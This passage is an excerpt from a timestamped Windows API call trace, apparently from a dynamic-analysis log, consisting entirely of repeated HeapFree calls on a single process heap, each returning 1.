dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.012] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.013] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.014] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.015] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.158] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.160] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.162] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.163] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.164] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.167] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.168] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.169] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.170] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.171] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.172] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.177] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.190] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0230.304] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.305] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.313] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.480] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.482] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.485] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.489] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.490] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.491] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.499] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.502] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.503] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.505] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.506] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.507] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.511] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.514] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0230.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0230.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.798] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0230.799] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0230.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.906] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.908] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.913] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.916] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.920] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0231.921] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.923] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0231.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.072] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.074] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0232.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0232.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x411efd0 | out: hHeap=0x4f0000) returned 1 [0232.897] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0232.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.898] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0232.900] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0232.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0232.901] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0232.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0232.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0232.902] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0232.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0232.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0232.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0232.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.907] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0232.909] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0232.910] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.010] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41f24c8 | out: hHeap=0x4f0000) returned 1 [0233.024] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41e24c0 | out: hHeap=0x4f0000) returned 1 [0233.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.026] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.029] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.030] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.032] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.035] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.037] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.045] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.048] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41914a8 | out: hHeap=0x4f0000) returned 1 [0233.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.051] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40b5f70 | out: hHeap=0x4f0000) returned 1 [0233.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x40a5f68 | out: hHeap=0x4f0000) returned 1 [0233.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.054] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41b14b8 | out: hHeap=0x4f0000) returned 1 [0233.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.166] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4095f60 | out: hHeap=0x4f0000) returned 1 [0233.290] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x41a14b0 | out: hHeap=0x4f0000) returned 1 [0233.292] HeapFree (in: 